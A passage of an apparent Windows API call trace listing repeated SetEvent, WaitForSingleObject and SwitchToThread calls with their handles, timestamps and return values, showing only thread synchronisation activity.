	[0053.512] SetEvent (hEvent=0x6c) returned 1
	[0053.512] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0053.513] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0054.434] SetEvent (hEvent=0x6c) returned 1
	[0054.434] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0054.437] SetEvent (hEvent=0xb4) returned 1
	[0054.437] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0055.332] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0055.339] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0055.890] SetEvent (hEvent=0x6c) returned 1
	[0055.890] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0055.890] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.017] SetEvent (hEvent=0x6c) returned 1
	[0066.017] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.039] SwitchToThread () returned 1
	[0066.048] SetEvent (hEvent=0x6c) returned 1
	[0066.049] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.051] SetEvent (hEvent=0x6c) returned 1
	[0066.051] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.073] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.295] SetEvent (hEvent=0x6c) returned 1
	[0066.295] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.297] SetEvent (hEvent=0x78) returned 1
	[0066.297] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.524] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.525] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.682] SetEvent (hEvent=0x6c) returned 1
	[0066.682] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.682] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.047] SetEvent (hEvent=0x6c) returned 1
	[0067.048] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.048] SetEvent (hEvent=0x78) returned 1
	[0067.048] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.230] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.231] SetEvent (hEvent=0x78) returned 1
	[0067.231] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.231] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.362] SetEvent (hEvent=0x80) returned 1
	[0067.362] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.362] SetEvent (hEvent=0x80) returned 1
	[0067.363] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.369] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.389] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.404] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.441] SetEvent (hEvent=0x80) returned 1
	[0067.441] SetEvent (hEvent=0xb4) returned 1
	[0067.441] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0067.444] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.444] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0067.445] SetEvent (hEvent=0x80) returned 1
	[0067.445] SetEvent (hEvent=0xb4) returned 1
	[0067.445] SetEvent (hEvent=0x78) returned 1
	[0067.445] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.445] SetEvent (hEvent=0xa8) returned 1
	[0067.445] SetEvent (hEvent=0x78) returned 1
	[0067.445] SetEvent (hEvent=0x6c) returned 1
	[0067.445] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.451] SetEvent (hEvent=0x6c) returned 1
	[0067.451] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.453] SetEvent (hEvent=0x6c) returned 1
	[0067.453] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.453] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.472] SetEvent (hEvent=0x6c) returned 1
	[0067.472] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.474] SetEvent (hEvent=0x78) returned 1
	[0067.474] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.526] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.527] SetEvent (hEvent=0x78) returned 1
	[0067.527] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.527] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.596] SetEvent (hEvent=0x80) returned 1
	[0067.596] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.597] SetEvent (hEvent=0x80) returned 1
	[0067.597] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.603] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.623] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.637] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.663] SetEvent (hEvent=0x80) returned 1
	[0067.663] SetEvent (hEvent=0xb4) returned 1
	[0067.663] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0067.666] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.666] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0067.667] SetEvent (hEvent=0x80) returned 1
	[0067.667] SetEvent (hEvent=0xb4) returned 1
	[0067.667] SetEvent (hEvent=0x78) returned 1
	[0067.667] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.667] SetEvent (hEvent=0xa8) returned 1
	[0067.667] SetEvent (hEvent=0x78) returned 1
	[0067.667] SetEvent (hEvent=0x6c) returned 1
	[0067.667] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.672] SetEvent (hEvent=0x6c) returned 1
	[0067.672] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.673] SetEvent (hEvent=0x6c) returned 1
	[0067.673] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.674] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.693] SetEvent (hEvent=0x6c) returned 1
	[0067.693] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.694] SetEvent (hEvent=0x78) returned 1
	[0067.694] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.762] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.763] SetEvent (hEvent=0x78) returned 1
	[0067.763] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0067.764] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.586] SetEvent (hEvent=0xb4) returned 1
	[0071.586] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.587] SetEvent (hEvent=0xb4) returned 1
	[0071.587] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.610] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.613] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.661] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.670] SetEvent (hEvent=0x6c) returned 1
	[0071.670] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.671] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.697] SetEvent (hEvent=0x6c) returned 1
	[0071.697] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.699] SetEvent (hEvent=0x6c) returned 1
	[0071.699] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.699] SetEvent (hEvent=0x6c) returned 1
	[0071.699] SwitchToThread () returned 1
	[0071.699] SetEvent (hEvent=0x6c) returned 1
	[0071.699] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.700] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.743] SetEvent (hEvent=0x6c) returned 1
	[0071.743] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.744] SetEvent (hEvent=0xb4) returned 1
	[0071.744] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.767] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.770] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.796] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.815] SetEvent (hEvent=0x6c) returned 1
	[0071.815] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.815] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.840] SetEvent (hEvent=0x6c) returned 1
	[0071.840] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.842] SetEvent (hEvent=0x6c) returned 1
	[0071.842] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.843] SetEvent (hEvent=0x6c) returned 1
	[0071.843] SwitchToThread () returned 1
	[0071.843] SetEvent (hEvent=0x6c) returned 1
	[0071.843] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.843] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.894] SetEvent (hEvent=0x6c) returned 1
	[0071.894] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.895] SetEvent (hEvent=0xb4) returned 1
	[0071.895] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.920] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.924] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.971] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.979] SetEvent (hEvent=0x6c) returned 1
	[0071.979] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0071.980] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.005] SetEvent (hEvent=0x6c) returned 1
	[0072.005] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.007] SetEvent (hEvent=0x6c) returned 1
	[0072.007] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.007] SetEvent (hEvent=0x6c) returned 1
	[0072.007] SwitchToThread () returned 1
	[0072.008] SetEvent (hEvent=0x6c) returned 1
	[0072.008] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.008] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.061] SetEvent (hEvent=0x6c) returned 1
	[0072.061] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.063] SetEvent (hEvent=0xb4) returned 1
	[0072.063] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.086] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.089] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.125] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.135] SetEvent (hEvent=0x6c) returned 1
	[0072.135] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.135] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.161] SetEvent (hEvent=0x6c) returned 1
	[0072.161] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.162] SetEvent (hEvent=0x6c) returned 1
	[0072.163] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.163] SetEvent (hEvent=0x6c) returned 1
	[0072.163] SwitchToThread () returned 1
	[0072.163] SetEvent (hEvent=0x6c) returned 1
	[0072.163] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.163] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.219] SetEvent (hEvent=0x6c) returned 1
	[0072.219] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.224] SetEvent (hEvent=0xb4) returned 1
	[0072.225] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.248] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.250] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.297] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.342] SetEvent (hEvent=0x6c) returned 1
	[0072.342] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.342] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.368] SetEvent (hEvent=0x6c) returned 1
	[0072.368] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.370] SetEvent (hEvent=0x6c) returned 1
	[0072.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.370] SetEvent (hEvent=0x6c) returned 1
	[0072.370] SwitchToThread () returned 1
	[0072.370] SetEvent (hEvent=0x6c) returned 1
	[0072.370] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.371] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.421] SetEvent (hEvent=0x6c) returned 1
	[0072.421] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.422] SetEvent (hEvent=0xb4) returned 1
	[0072.422] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.446] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.449] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.664] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.752] SetEvent (hEvent=0x6c) returned 1
	[0072.752] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.753] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.802] SetEvent (hEvent=0x6c) returned 1
	[0072.803] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.804] SetEvent (hEvent=0x6c) returned 1
	[0072.804] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.805] SetEvent (hEvent=0x6c) returned 1
	[0072.805] SwitchToThread () returned 1
	[0072.805] SetEvent (hEvent=0x6c) returned 1
	[0072.805] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.806] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.850] SetEvent (hEvent=0x6c) returned 1
	[0072.850] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.852] SetEvent (hEvent=0xb4) returned 1
	[0072.852] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.876] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.879] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.903] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.942] SetEvent (hEvent=0x6c) returned 1
	[0072.942] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.942] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.970] SetEvent (hEvent=0x6c) returned 1
	[0072.970] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.972] SetEvent (hEvent=0x6c) returned 1
	[0072.972] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.973] SetEvent (hEvent=0x6c) returned 1
	[0072.973] SwitchToThread () returned 1
	[0072.973] SetEvent (hEvent=0x6c) returned 1
	[0072.973] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0072.973] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.018] SetEvent (hEvent=0x80) returned 1
	[0073.018] SetEvent (hEvent=0xb4) returned 1
	[0073.019] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.019] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.044] SetEvent (hEvent=0x6c) returned 1
	[0073.044] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.045] SetEvent (hEvent=0x6c) returned 1
	[0073.045] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.046] SetEvent (hEvent=0x6c) returned 1
	[0073.046] SwitchToThread () returned 1
	[0073.046] SetEvent (hEvent=0x6c) returned 1
	[0073.046] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.046] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.090] SetEvent (hEvent=0x6c) returned 1
	[0073.090] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.092] SetEvent (hEvent=0x80) returned 1
	[0073.092] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.116] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.119] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.128] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.163] SetEvent (hEvent=0x6c) returned 1
	[0073.163] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.163] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.189] SetEvent (hEvent=0x6c) returned 1
	[0073.189] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.191] SetEvent (hEvent=0x6c) returned 1
	[0073.191] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.191] SetEvent (hEvent=0x6c) returned 1
	[0073.191] SwitchToThread () returned 1
	[0073.191] SetEvent (hEvent=0x6c) returned 1
	[0073.191] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.192] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.237] SetEvent (hEvent=0x78) returned 1
	[0073.237] SetEvent (hEvent=0x80) returned 1
	[0073.237] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.237] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.259] SetEvent (hEvent=0x6c) returned 1
	[0073.259] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.276] SetEvent (hEvent=0x6c) returned 1
	[0073.276] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.278] SetEvent (hEvent=0x6c) returned 1
	[0073.278] SwitchToThread () returned 1
	[0073.278] SetEvent (hEvent=0x6c) returned 1
	[0073.278] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.279] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.337] SetEvent (hEvent=0x6c) returned 1
	[0073.337] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.340] SetEvent (hEvent=0x78) returned 1
	[0073.340] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.363] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.366] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.401] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.409] SetEvent (hEvent=0x6c) returned 1
	[0073.409] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.410] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.435] SetEvent (hEvent=0x6c) returned 1
	[0073.435] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.437] SetEvent (hEvent=0x6c) returned 1
	[0073.437] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.438] SetEvent (hEvent=0x6c) returned 1
	[0073.438] SwitchToThread () returned 1
	[0073.438] SetEvent (hEvent=0x6c) returned 1
	[0073.438] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.438] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.487] SetEvent (hEvent=0x6c) returned 1
	[0073.487] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.488] SetEvent (hEvent=0x78) returned 1
	[0073.489] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.512] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.515] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.552] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.576] SetEvent (hEvent=0x78) returned 1
	[0073.576] SetEvent (hEvent=0xb4) returned 1
	[0073.576] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x102
	[0073.579] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.579] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0x1) returned 0x0
	[0073.579] SetEvent (hEvent=0x78) returned 1
	[0073.580] SetEvent (hEvent=0xb4) returned 1
	[0073.580] SetEvent (hEvent=0x80) returned 1
	[0073.580] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.580] SetEvent (hEvent=0xa8) returned 1
	[0073.580] SetEvent (hEvent=0x80) returned 1
	[0073.580] SetEvent (hEvent=0x6c) returned 1
	[0073.580] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.593] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.601] SetEvent (hEvent=0x6c) returned 1
	[0073.601] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.601] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.621] SetEvent (hEvent=0x6c) returned 1
	[0073.621] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.622] SetEvent (hEvent=0x80) returned 1
	[0073.622] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.677] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.694] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.701] SetEvent (hEvent=0x6c) returned 1
	[0073.701] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.701] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.704] SetEvent (hEvent=0x6c) returned 1
	[0073.704] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.705] SetEvent (hEvent=0xb4) returned 1
	[0073.705] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.750] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.770] SetEvent (hEvent=0x6c) returned 1
	[0073.770] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.775] SetEvent (hEvent=0x6c) returned 1
	[0073.775] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.775] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.778] SetEvent (hEvent=0x6c) returned 1
	[0073.778] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.779] SetEvent (hEvent=0x80) returned 1
	[0073.779] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.820] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.840] SetEvent (hEvent=0x6c) returned 1
	[0073.840] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.845] SetEvent (hEvent=0x6c) returned 1
	[0073.845] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.845] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.848] SetEvent (hEvent=0x6c) returned 1
	[0073.848] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.849] SetEvent (hEvent=0xb4) returned 1
	[0073.849] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.897] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.909] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.922] SetEvent (hEvent=0x6c) returned 1
	[0073.922] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.922] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.925] SetEvent (hEvent=0x6c) returned 1
	[0073.926] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0073.927] SetEvent (hEvent=0x80) returned 1
	[0073.927] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.106] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.127] SetEvent (hEvent=0x6c) returned 1
	[0074.127] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.133] SetEvent (hEvent=0x6c) returned 1
	[0074.133] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.133] WaitForSingleObject (hHandle=0x8c, dwMilliseconds=0xffffffff) returned 0x0
	[0074.136] SetEvent (hEvent=0x6c) returned 1
